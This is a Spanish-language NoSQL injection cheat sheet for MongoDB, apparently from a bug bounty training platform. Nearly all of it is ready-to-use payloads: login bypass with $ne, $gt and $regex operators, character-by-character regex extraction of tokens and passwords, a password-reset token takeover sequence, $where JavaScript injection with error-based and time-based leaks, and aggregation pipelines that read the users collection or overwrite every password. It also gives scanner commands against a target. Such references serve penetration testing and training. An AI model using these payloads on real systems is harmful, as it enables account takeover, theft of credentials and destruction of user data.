Cheatsheet NoSQL Injection
Inyeccion NoSQL (MongoDB)
Referencia rápida
- →Probar siempre operadores $ne, $gt, $regex en parametros de login como primer test
- →$regex permite extraccion caracter por caracter - ideal para tokens y passwords
- →Error-based extraction con $where: forzar throw para incluir datos sensibles en el error
- →$lookup en aggregation pipeline permite hacer JOIN y leer otras colecciones
- →Prisma ORM: findFirst() es vulnerable a inyeccion de operadores, findUnique() no
Bypass de autenticacion
URL format - $ne
username[$ne]=toto&password[$ne]=toto
URL format - $regex
username[$regex]=.*&password[$regex]=.*
URL format - $exists
username[$exists]=true&password[$exists]=true
JSON - $ne null
{"username": {"$ne": null}, "password": {"$ne": null}}JSON - $ne string
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}JSON - $gt undefined
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}JSON - $gt empty
{"username": {"$gt": ""}, "password": {"$gt": ""}}Inyeccion de operadores
Not equals
username[$ne]=1&password[$ne]=1
Regex match
username[$regex]=^adm&password[$ne]=1
Regex longitudDeterminar longitud del campo
username[$regex]=.{25}&pass[$ne]=1Equals
username[$eq]=admin&password[$ne]=1
Less than
username[$ne]=admin&pass[$lt]=s
Greater than
username[$ne]=admin&pass[$gt]=s
Not in array
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7
$in con multiples usuarios
{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}$regex oracle - extraccion caracter por caracter
Extraer primer caracterSi respuesta es diferente, el campo empieza con A
{"token": {"$regex": "^A"}}Extraer segundo caracterContinuar: ^Ab, ^Ac, ... hasta match
{"token": {"$regex": "^Ab"}}Password reset token leak
1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATOBinary search optimizadoReducir de ~127 a ~7 queries por caracter usando rangos binarios
{"password": {"$regex": "^[a-m]"}}$where y JavaScript injection
$where basico
' || 1==1//
$where con null byte
' || 1==1%00
$where equals
'=='
Error-based extractionEl error message incluye el valor secreto
{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}Time-based injection
admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'Sleep-based
';sleep(5000);
Inyeccion en aggregation pipeline
$lookup - JOIN para leak data
[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]$out - sobrescribir coleccionSobrescribe passwords de toda la coleccion
[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]Prisma findFirst bypassfindFirst es vulnerable, findUnique no
{"username": {"not": "admin"}, "email": {"startsWith": "a"}}Herramientas
NoSQLMap
Herramienta automatizada de NoSQL injection para MongoDB
python3 nosqlmap.py -u https://target.com/login -p username,password
nosqli
Scanner CLI de NoSQL injection con multiples tecnicas
nosqli scan -t https://target.com/api/login
Burp Suite + NoSQLi extension
Extension de Burp para deteccion automatica de NoSQL injection
Burp > Extensions > NoSQL Injection
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras